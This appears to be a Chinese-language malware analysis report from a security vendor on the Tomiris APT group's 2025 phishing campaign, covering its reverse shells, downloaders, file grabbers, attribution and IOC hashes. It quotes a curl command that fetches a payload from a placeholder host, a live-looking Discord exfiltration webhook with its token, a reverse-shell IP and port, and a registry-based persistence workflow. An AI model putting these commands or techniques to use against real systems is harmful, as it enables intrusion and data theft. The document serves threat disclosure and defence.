技术细节
初始访问
感染始于包含恶意压缩包的钓鱼邮件。压缩包通常受密码保护,密码通常包含在邮件正文中。压缩包内是一个可执行文件。在某些情况下,可执行文件的图标被伪装成Office文档图标,文件名包含类似.doc<多个空格>.exe的双重扩展名。然而,在压缩包中也经常遇到没有图标或双重扩展名的恶意可执行文件。这些文件通常有很长的名称,在查看压缩包时无法完整显示,因此其扩展名对用户是隐藏的。
执行该文件后,系统即被感染。然而,在相同的文件名下,攻击者通常会放置不同的植入程序,其操作也因案例而异。
植入程序
Tomiris C/C++ 反向Shell 该植入程序是一个反向Shell,等待操作员发出命令(在我们观察到的大多数情况下,感染是人工操作的)。在快速环境检查后,攻击者通常会发出命令以下载另一个后门程序——AdaptixC2。AdaptixC2是一个用于攻击后利用的模块化框架,其源代码可在GitHub上找到。攻击者使用内置的OS实用程序如bitsadmin、curl、PowerShell和certutil来下载AdaptixC2。使用Tomiris C/C++反向Shell的典型场景概述如下:
- 环境侦察:攻击者收集各种系统信息,包括当前用户信息、网络配置等。
- 下载下一阶段植入程序:攻击者尝试从多个URL下载AdaptixC2。
- 验证下载成功:下载完成后,攻击者检查AdaptixC2是否存在于目标文件夹中且未被安全解决方案删除。
- 为下载的载荷建立持久性:将下载的植入程序添加到注册表Run键中。
- 验证持久性成功:最后,攻击者检查植入程序是否存在于Run注册表键中。
今年,我们观察到三个C/C++反向Shell变种,其功能最终都提供对远程控制台的访问。所有三个变种的功能都极简——它们既不自我复制,也不在系统中持久化。本质上,如果运行进程在操作员下载并将下一阶段植入程序添加到注册表之前被终止,感染会立即结束。
Tomiris Rust下载器
Tomiris Rust下载器是一个以前未记录的用Rust编写的植入程序。虽然文件大小相对较大,但其功能极简。
执行后,木马首先通过连续运行一系列控制台命令来收集系统信息。
然后它搜索文件并编译其路径列表。木马对以下扩展名的文件感兴趣:.jpg、.jpeg、.png、.txt、.rtf、.pdf、.xlsx和.docx。这些文件必须位于驱动器C:/、D:/、E:/、F:/、G:/、H:/、I:/或J:/上。同时,它会忽略包含以下字符串的路径:".wrangler"、".git"、“node_modules”、“Program Files”、“Program Files (x86)"、“Windows”、“Program Data"和"AppData”。
使用多部分POST请求将收集到的系统信息和发现的文件路径列表通过以下URL发送到Discord:
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
值得注意的是,只有发现文件的路径被发送到Discord;木马不传输实际文件。
发送请求后,木马在临时目录中创建两个脚本:script.vbs和script.ps1。在将script.ps1放到磁盘之前,Rust下载器会从硬编码的片段创建一个URL并将其添加到脚本中。然后它使用cscript实用程序执行script.vbs,后者又通过PowerShell运行script.ps1。script.ps1脚本在无限循环中运行,延迟一分钟。它尝试从下载器提供的URL下载ZIP存档,解压到%TEMP%\rfolder,并执行所有解压后的.exe扩展名文件。script.ps1中的占位符<PC_NAME>被替换为受感染计算机的名称。
Tomiris Python Discord反向Shell 该木马用Python编写,并使用PyInstaller编译成可执行文件。主脚本也使用PyArmor进行了混淆。我们成功去除了混淆并恢复了原始脚本代码。该木马用作感染的初始阶段,主要用于侦察和下载后续植入程序。我们观察到它下载了AdaptixC2框架和Tomiris Python文件抓取器。 该木马基于实现通过Discord通信的“discord”Python包,并使用该即时通讯软件作为C2通道。其代码包含与Discord C2服务器通信的URL和身份验证令牌。在功能上,该木马充当反向Shell,接收来自C2的文本命令,在受感染系统上执行它们,并将执行结果发送回C2。
Tomiris Python文件抓取器
如前所述,该木马通过Tomiris Python Discord反向Shell安装在系统中。攻击者通过执行以下控制台命令来实现这一点:
cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"
该木马用Python编写,并使用PyInstaller编译成可执行文件。它将具有以下扩展名的文件收集到ZIP存档中:.jpg、.png、.pdf、.txt、.docx和.doc。生成的存档通过HTTP POST请求发送到C2服务器。在文件收集过程中,忽略以下文件夹名称:“AppData”、“Program Files”、“Windows”、“Temp”、“System Volume Information”、"$RECYCLE.BIN"和"bin”。
Distopia后门 该后门完全基于GitHub仓库项目"dystopia-c2",用Python编写。可执行文件是使用PyInstaller创建的。该后门允许在受感染系统上执行控制台命令、下载和上传文件以及终止进程。在一个案例中,我们追踪到用于下载另一个木马——Tomiris Python Telegram反向Shell的命令。 攻击者在受感染系统上执行的控制台命令序列。
Tomiris Python Telegram反向Shell 该木马用Python编写,并使用PyInstaller编译成可执行文件。主脚本也使用PyArmor进行了混淆。我们成功去除了混淆并恢复了原始脚本代码。该木马使用Telegram与C2服务器通信,代码中包含身份验证令牌和"chat_id",用于连接到机器人并接收执行的命令。在功能上,它是一个反向Shell,能够接收来自C2的文本命令,在受感染系统上执行它们,并将执行结果发送回C2。 最初,我们假设这是该组织先前使用的Telemiris机器人的更新版本。然而,在比较了两个木马的原始脚本后,我们得出结论,它们是不同的恶意工具。
其他用作第一阶段感染程序的植入程序
下面,我们列出了一些同样在钓鱼压缩包中分发的植入程序。遗憾的是,我们无法追踪涉及这些植入程序的进一步行动,因此只能提供它们的描述。
- Tomiris C# Telegram反向Shell:另一个使用Telegram接收命令的反向Shell。这次是用C#编写的,并使用以下凭据进行操作。
- JLORAT:恶意行为者使用的最古老的植入程序之一,自2022年首次识别以来几乎没有变化。它能够截取屏幕截图、执行控制台命令以及将文件从受感染系统上传到C2。当前版本的木马仅缺少下载命令。
- Tomiris Rust反向Shell:该木马是用Rust编程语言编写的简单反向Shell。与攻击者使用的其他反向Shell不同,它使用PowerShell作为Shell,而不是cmd.exe。
- Tomiris Go反向Shell:该木马是用Go编写的简单反向Shell。我们成功恢复了源代码。它在端口443上建立到62.113.114.209的TCP连接,运行cmd.exe并将标准命令行输入和输出重定向到已建立的连接。
- Tomiris PowerShell Telegram后门:原始可执行文件是一个用C++编写的简单打包程序。它从自身提取Base64编码的PowerShell脚本并使用以下命令行执行它。
提取的脚本是一个用PowerShell编写的后门,使用Telegram与C2服务器通信。它只有两个关键命令:
/upload:使用作为参数提供的file_Id标识符从Telegram下载文件,并将其保存到C:\Users\Public\Libraries\,文件名由参数file_name指定。/go:在控制台中执行提供的命令,并将结果作为Telegram消息返回。
- Tomiris C#反向Shell:一个用C#编写的简单反向Shell。除了控制台命令外,它不支持任何其他命令。
其他植入程序
在调查过程中,我们还从下载后续植入程序的服务器上发现了几个反向SOCKS代理植入程序。这些样本也在受感染系统上被发现。遗憾的是,我们无法确定具体是哪个植入程序用于下载它们。我们认为这些植入程序可能用于代理漏洞扫描程序的流量,并实现在网络内的横向移动。
- Tomiris C++ ReverseSocks (基于 GitHub Neosama/Reverse-SOCKS5):该植入程序是一个用C++编写的反向SOCKS代理,其代码几乎完全复制自GitHub项目Neosama/Reverse-SOCKS5。原始项目的调试消息已被删除,并添加了隐藏控制台窗口的功能。
- Tomiris Go ReverseSocks (基于 GitHub Acebond/ReverseSocks5):该木马是一个用Golang编写的反向SOCKS代理,其代码几乎完全复制自GitHub项目Acebond/ReverseSocks5。原始项目的调试消息已被删除,并添加了隐藏控制台窗口的功能。
受害者
在此活动中,超过50%的鱼叉式钓鱼邮件和诱饵文件使用了俄语名称并包含俄语文本,表明其主要关注点是俄语用户或实体。其余邮件针对土库曼斯坦、吉尔吉斯斯坦、塔吉克斯坦和乌兹别克斯坦的用户,并包含各自民族语言的内容。
归因
在我们之前的报告中,我们描述了Tomiris APT组织使用的JLORAT工具。通过分析大量JLORAT样本,我们能够识别出攻击者常用的几种不同的传播模式。这些模式包括使用长且高度特定的文件名,以及将这些工具分发在密码保护的压缩包中,密码格式为"xyz@2025"(例如"min@2025"或"sib@2025")。这些相同的模式也在本文描述的反向Shell和其他工具中观察到。此外,不同的恶意软件样本经常以相同的文件名分发,表明它们之间存在关联。
结论
Tomiris 2025活动利用多语言恶意软件模块来增强操作灵活性,并通过显得不那么可疑来逃避检测。主要目标是在目标系统上建立远程访问权限,并将其用作部署包括AdaptixC2和Havoc在内的其他工具的立足点,以进行进一步的利用和持久化。 战术的演变突显了该威胁行为者对隐蔽性、长期持久性以及战略性地针对政府和政府间组织的关注。使用公共服务进行C2通信和多语言植入程序凸显了需要高级检测策略(如行为分析和网络流量检查)来有效识别和缓解此类威胁。
危害指标(IOC)
更多危害指标及其更新可供我们的APT报告服务客户使用。如有兴趣,请联系 intelreports@kaspersky.com。
Distopia后门
B8FE3A0AD6B64F370DB2EA1E743C84BB
Tomiris Python Discord反向Shell
091FBACD889FA390DC76BB24C2013B59
Tomiris Python文件抓取器
C0F81B33A80E5E4E96E503DBC401CBEE
Tomiris Python Telegram反向Shell
42E165AB4C3495FADE8220F4E6F5F696
Tomiris C# Telegram反向Shell
2FBA6F91ADA8D05199AD94AFFD5E5A18
Tomiris C/C++ 反向Shell
0F955D7844E146F2BD756C9CA8711263
078BE0065D0277935CDCF7E3E9DB4679
33ED1534BBC8BD51E7E2CF01CADC9646
Tomiris Rust下载器
1083B668459BEACBC097B3D4A103623F
JLORAT
C73C545C32E5D1F72B74AB0087AE1720
Tomiris Rust反向Shell
9A9B1BA210AC2EBFE190D1C63EC707FA
Tomiris C++ ReverseSocks (基于 GitHub Neosama/Reverse-SOCKS5)
2ED5EBC15B377C5A03F75E07DC5F1E08
Tomiris PowerShell Telegram后门
C75665E77FFB3692C2400C3C8DD8276B
Tomiris C#反向Shell
DF95695A3A93895C1E87A76B4A8A9812
Tomiris Go反向Shell
087743415E1F6CC961E9D2BB6DFD6D51
Tomiris Go ReverseSocks (基于 GitHub Acebond/ReverseSocks5)
83267C4E942C7B86154ACD3C58EAF26C
AdaptixC2
CD46316AEBC41E36790686F1EC1C39F0
1241455DA8AADC1D828F89476F7183B7
F1DCA0C280E86C39873D8B6AF40F7588
Havoc
4EDC02724A72AFC3CF78710542DB1E6E